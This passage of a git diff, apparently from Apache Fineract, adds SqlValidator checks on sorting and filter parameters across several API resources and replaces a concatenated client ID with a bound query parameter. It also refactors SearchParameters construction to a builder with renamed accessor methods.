+    private final SqlValidator sqlValidator;
     private final GenericDataService genericDataService;
     private final ReadWriteNonCoreDataService readWriteNonCoreDataService;
 
-    @Autowired
-    public ReadSurveyServiceImpl(final PlatformSecurityContext context, final JdbcTemplate jdbcTemplate,
-            final GenericDataService genericDataService, final ReadWriteNonCoreDataService readWriteNonCoreDataService) {
-
-        this.context = context;
-        this.jdbcTemplate = jdbcTemplate;
-        this.genericDataService = genericDataService;
-        this.readWriteNonCoreDataService = readWriteNonCoreDataService;
-    }
-
     @Override
     public List<SurveyDataTableData> retrieveAllSurveys() {
 
@@ -91,7 +85,7 @@
 
     @Override
     public SurveyDataTableData retrieveSurvey(String surveyName) {
-        SQLInjectionValidator.validateSQLInput(surveyName);
+        sqlValidator.validate(surveyName);
         final String sql = "select cf.enabled, application_table_name, registered_table_name, entity_subtype" + " from x_registered_table "
                 + " left join c_configuration cf on x_registered_table.registered_table_name = cf.name " + " where exists" + " (select 'f'"
                 + " from m_appuser_role ur " + " join m_role r on r.id = ur.role_id"
@@ -153,13 +147,13 @@
                     + " tz" + " JOIN ppi_likelihoods_ppi lkp on lkp.ppi_name = '" + surveyNames.getString("name") + "' AND enabled = '"
                     + LikelihoodStatus.ENABLED + "' JOIN ppi_scores sc on score_from  <= tz.score AND score_to >=tz.score"
                     + " JOIN ppi_poverty_line pvl on pvl.likelihood_ppi_id = lkp.id AND pvl.score_id = sc.id"
-                    + " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE  client_id = " + clientId);
+                    + " JOIN ppi_likelihoods lkh on lkh.id = lkp.likelihood_id " + " WHERE  client_id = ?");
         }
 
         List<ClientScoresOverview> scoresOverviews = new ArrayList<>();
 
         for (String sql : sqls) {
-            final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql);
+            final SqlRowSet rs = this.jdbcTemplate.queryForRowSet(sql, clientId);
 
             while (rs.next()) {
                 scoresOverviews.add(new ClientScoresOverview().setLikelihoodCode(rs.getString("code"))
diff --git a/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
index 94cc6b7..7317e57 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/notification/api/NotificationApiResource.java
@@ -41,6 +41,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.notification.data.NotificationData;
 import org.apache.fineract.notification.service.NotificationReadPlatformService;
 import org.springframework.stereotype.Component;
@@ -55,6 +56,7 @@
     private final NotificationReadPlatformService notificationReadPlatformService;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final ToApiJsonSerializer<NotificationData> toApiJsonSerializer;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -71,7 +73,10 @@
 
         this.context.authenticatedUser();
         final Page<NotificationData> notificationData;
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         if (!isRead) {
             notificationData = this.notificationReadPlatformService.getAllUnreadNotifications(searchParameters);
         } else {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
index 1ddd112..67e945f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/notification/service/NotificationReadPlatformServiceImpl.java
@@ -135,18 +135,18 @@
         final StringBuilder sqlBuilder = new StringBuilder(200);
         sqlBuilder.append(sql);
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
index 5dcdca4..5aa464a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/api/OfficesApiResource.java
@@ -62,6 +62,7 @@
 import org.apache.fineract.infrastructure.core.service.ExternalIdFactory;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.organisation.office.data.OfficeData;
 import org.apache.fineract.organisation.office.service.OfficeReadPlatformService;
 import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
@@ -90,6 +91,7 @@
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+    private final SqlValidator sqlValidator;
 
     private final Gson gson = GoogleGsonSerializerHelper.createSimpleGson();
 
@@ -105,7 +107,10 @@
             @QueryParam("orderBy") @Parameter(description = "orderBy") final String orderBy,
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
         context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
-        final SearchParameters searchParameters = SearchParameters.forOffices(orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().orphansOnly(false).isSelfUser(false).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
         final Collection<OfficeData> offices = readPlatformService.retrieveAllOffices(onlyManualEntries, searchParameters);
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
         return toApiJsonSerializer.serialize(settings, offices, RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
index 3b8b491..d7b3a73 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/office/service/OfficeReadPlatformServiceImpl.java
@@ -159,12 +159,12 @@
         sqlBuilder.append(rm.officeSchema());
         sqlBuilder.append(" where o.hierarchy like ? ");
         if (searchParameters != null) {
-            if (searchParameters.isOrderByRequested()) {
-                sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
+            if (searchParameters.hasOrderBy()) {
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-                if (searchParameters.isSortOrderProvided()) {
-                    sqlBuilder.append(' ').append(searchParameters.getSortOrder());
+                sqlBuilder.append("order by ").append(searchParameters.getOrderBy());
+                if (searchParameters.hasSortOrder()) {
                     this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
+                    sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 }
             } else {
                 sqlBuilder.append("order by o.hierarchy");
diff --git a/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
index 4effdf9..f9b9b5b 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/organisation/teller/service/TellerManagementReadPlatformServiceImpl.java
@@ -485,9 +485,9 @@
                 + " and renum.enum_value in ('PAY_CHARGE', 'WAIVE_CHARGE') "
                 + " and (cli_txn.payment_detail_id IS NULL OR payType.is_cash_payment = true) ) " + " order by created_date ";
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sql += " ";
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sql += sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset());
             } else {
                 sql += sqlGenerator.limit(searchParameters.getLimit());
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
index cc0baa4..fd17748 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/AccountTransfersApiResource.java
@@ -47,6 +47,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.account.data.AccountTransferData;
 import org.apache.fineract.portfolio.account.service.AccountTransfersReadPlatformService;
 import org.springframework.stereotype.Component;
@@ -62,6 +63,7 @@
     private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -125,7 +127,11 @@
 
         this.context.authenticatedUser().validateHasReadPermission(AccountTransfersApiConstants.ACCOUNT_TRANSFER_RESOURCE_NAME);
 
-        final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
 
         final Page<AccountTransferData> transfers = this.accountTransfersReadPlatformService.retrieveAll(searchParameters, accountDetailId);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
index a0a3fae..560b253 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionApiResource.java
@@ -54,6 +54,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.account.data.AccountTransferData;
 import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
 import org.apache.fineract.portfolio.account.data.StandingInstructionData;
@@ -74,6 +75,7 @@
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final StandingInstructionReadPlatformService standingInstructionReadPlatformService;
     private final AccountTransfersReadPlatformService accountTransfersReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -182,7 +184,11 @@
 
         this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
 
-        final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
 
         final LocalDate startDateRange = null;
         final LocalDate endDateRange = null;
@@ -212,8 +218,11 @@
 
         this.context.authenticatedUser().validateHasReadPermission(StandingInstructionApiConstants.STANDING_INSTRUCTION_RESOURCE_NAME);
 
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
         StandingInstructionData standingInstructionData = this.standingInstructionReadPlatformService.retrieveOne(standingInstructionId);
-        final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
         final Set<String> associationParameters = ApiParameterHelper.extractAssociationsForResponseIfProvided(uriInfo.getQueryParameters());
         Page<AccountTransferData> transfers = null;
         if (!associationParameters.isEmpty()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
index c144ec0..6a54364 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/api/StandingInstructionHistoryApiResource.java
@@ -44,6 +44,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.account.data.StandingInstructionDTO;
 import org.apache.fineract.portfolio.account.data.StandingInstructionHistoryData;
 import org.apache.fineract.portfolio.account.service.StandingInstructionHistoryReadPlatformService;
@@ -59,6 +60,7 @@
     private final DefaultToApiJsonSerializer<StandingInstructionHistoryData> toApiJsonSerializer;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final StandingInstructionHistoryReadPlatformService standingInstructionHistoryReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -88,7 +90,11 @@
 
         final DateFormat dateFormat = StringUtils.isBlank(rawDateFormat) ? null : new DateFormat(rawDateFormat);
 
-        final SearchParameters searchParameters = SearchParameters.forAccountTransfer(externalId, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
         LocalDate startDateRange = null;
         LocalDate endDateRange = null;
         if (fromDateParam != null) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
index a0fb3b9..619da29 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/AccountTransfersReadPlatformServiceImpl.java
@@ -218,18 +218,18 @@
             finalObjectArray = new Object[] { accountDetailId };
         }
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" limit ").append(searchParameters.getLimit());
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(" offset ").append(searchParameters.getOffset());
             }
         }
@@ -287,18 +287,18 @@
         sqlBuilder.append(" where atsi.id = ?");
 
         if (searchParameters != null) {
-            if (searchParameters.isOrderByRequested()) {
+            if (searchParameters.hasOrderBy()) {
                 sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-                if (searchParameters.isSortOrderProvided()) {
+                if (searchParameters.hasSortOrder()) {
                     sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                     this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
                 }
             }
 
-            if (searchParameters.isLimited()) {
+            if (searchParameters.hasLimit()) {
                 sqlBuilder.append(" ");
-                if (searchParameters.isOffset()) {
+                if (searchParameters.hasOffset()) {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
                 } else {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
index f3efb4e..b663de0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionHistoryReadPlatformServiceImpl.java
@@ -136,18 +136,18 @@
         }
 
         final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
index 3d74d67..751e1c4 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/account/service/StandingInstructionReadPlatformServiceImpl.java
@@ -305,18 +305,18 @@
         }
 
         final SearchParameters searchParameters = standingInstructionDTO.searchParameters();
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
index 440540f..7948744 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientChargesApiResource.java
@@ -102,7 +102,7 @@
                             ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_ACTIVE,
                             ClientApiConstants.CLIENT_CHARGE_QUERY_PARAM_STATUS_VALUE_INACTIVE });
         }
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
 
         final Page<ClientChargeData> clientCharges = this.clientChargeReadPlatformService.retrieveClientCharges(clientId, chargeStatus,
                 pendingPayment, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
index 2758434..b1a79dd 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientTransactionsApiResource.java
@@ -311,7 +311,7 @@
 
     private String getAllClientTransactions(Long clientId, UriInfo uriInfo, Integer offset, Integer limit) {
 
-        SearchParameters searchParameters = SearchParameters.forPagination(offset, limit);
+        SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).build();
         final Page<ClientTransactionData> clientTransactions = clientTransactionReadPlatformService.retrieveAllTransactions(clientId,
                 searchParameters);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
index 427ef7e..a16416f 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/api/ClientsApiResource.java
@@ -62,6 +62,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
 import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
 import org.apache.fineract.portfolio.client.data.ClientData;
@@ -93,6 +94,7 @@
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
     private final GuarantorReadPlatformService guarantorReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -443,8 +445,13 @@
             final String firstname, final String lastname, final String status, final String hierarchy, final Integer offset,
             final Integer limit, final String orderBy, final String sortOrder, final Boolean orphansOnly, final boolean isSelfUser) {
         context.authenticatedUser().validateHasReadPermission(ClientApiConstants.CLIENT_RESOURCE_NAME);
-        final SearchParameters searchParameters = SearchParameters.forClients(officeId, externalId, displayName, firstname, lastname,
-                status, hierarchy, offset, limit, orderBy, sortOrder, orphansOnly, isSelfUser);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        sqlValidator.validate(hierarchy);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
+                .name(displayName).hierarchy(hierarchy).firstname(firstname).lastname(lastname).status(status).orphansOnly(orphansOnly)
+                .isSelfUser(isSelfUser).offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
         final Page<ClientData> clientData = clientReadPlatformService.retrieveAll(searchParameters);
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
         return toApiJsonSerializer.serialize(settings, clientData, ClientApiConstants.CLIENT_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
index 4b03043..6b560a0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientChargeReadPlatformServiceImpl.java
@@ -151,9 +151,9 @@
 
         // apply limit and offsets
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
index 292a21a..13906e9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientReadPlatformServiceImpl.java
@@ -192,7 +192,7 @@
         sqlBuilder.append(" where (o.hierarchy like ? or transferToOffice.hierarchy like ?) ");
 
         if (searchParameters != null) {
-            if (searchParameters.isSelfUser()) {
+            if (searchParameters.getIsSelfUser()) {
                 sqlBuilder.append(
                         " and c.id in (select umap.client_id from m_selfservice_user_client_mapping as umap where umap.appuser_id = ? ) ");
                 paramList.add(appUserID);
@@ -204,18 +204,18 @@
                 sqlBuilder.append(" and (").append(extraCriteria).append(")");
             }
 
-            if (searchParameters.isOrderByRequested()) {
+            if (searchParameters.hasOrderBy()) {
                 sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
-                if (searchParameters.isSortOrderProvided()) {
+                if (searchParameters.hasSortOrder()) {
                     sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                     this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
                 }
             }
 
-            if (searchParameters.isLimited()) {
+            if (searchParameters.hasLimit()) {
                 sqlBuilder.append(" ");
-                if (searchParameters.isOffset()) {
+                if (searchParameters.hasOffset()) {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
                 } else {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -267,12 +267,12 @@
             extraCriteria += " and c.lastname like ? ";
         }
 
-        if (searchParameters.isScopedByOfficeHierarchy()) {
+        if (searchParameters.hasHierarchy()) {
             paramList.add(searchParameters.getHierarchy() + "%");
             extraCriteria += " and o.hierarchy like ? ";
         }
 
-        if (searchParameters.isOrphansOnly()) {
+        if (searchParameters.getOrphansOnly()) {
             extraCriteria += " and c.id NOT IN (select client_id from m_group_client) ";
         }
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
index 1c82138..ec42c76 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/client/service/ClientTransactionReadPlatformServiceImpl.java
@@ -143,9 +143,9 @@
 
         // apply limit and offsets
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
index 35c2734..7e4ff0a 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/CentersApiResource.java
@@ -75,6 +75,7 @@
 import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
 import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
 import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
 import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -113,6 +114,7 @@
     private final EntityDatatableChecksReadService entityDatatableChecksReadService;
